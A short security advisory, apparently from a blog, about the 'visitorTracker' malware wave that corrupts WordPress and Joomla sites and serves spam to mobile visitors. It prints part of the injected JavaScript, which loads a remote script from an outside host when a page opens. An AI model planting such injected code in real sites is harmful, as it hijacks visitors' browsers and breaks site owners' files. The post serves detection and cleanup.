visitorTracker spam-seo injector wave corrupts sites

Recently, we\’re seeing an increasing visitorTracker malware wave.

Moreover, there are lot of corrupted infections out there, breaking the infected sites. Right now, the malicious code starts and ends with visitorTracker comment tag and lot of site\’s legitimate JavaScript files are injected with the malicious code as well. The outcome – in case of successful (not broken) infection – is spam content served for the visitors using mobile devices.

Part of the malicious injection:

var visitortrackerin = setInterval(function(){
    if(document.body != null && typeof document.body != "undefined"){
        clearInterval(visitortrackerin);
        if(typeof window["globalvisitor"] == "undefined"){
            window["globalvisitor"] = 1;
            var isIE = visitortrackerde();
            var isChrome = !isIE && !!window.chrome && window.navigator.vendor === "Google Inc.";
            if(visitorTracker_ isMob ()){
              var visitortrackervs = document.createElement("script"); visitortrackervs.src = "http://test.com/components/com_banners/models/main_configuration/watch.php?mob=1"; document.getElementsByTagName("head")[0].appendChild(visitortrackervs);
            }else{
                if((isIE && !isChrome && !visitorTracker_isMob())){
                    var visitortrackervs = document [.] createElement("script"); visitortrackervs.src = "http://test.com/components/com_banners/models/main_configuration/watch.php"; document.getElementsByTagName("head")[0].appendChild(visitortrackervs);
                } 
            }
        }
        visitortracksdel();
    }

As mentioned, the infection is very buggy and often removed single-quotes from legitimate files which corrupts the site completely. Affects plugins, themes and even core files of WordPress and Joomla. The solution is to restore files from a clean backup.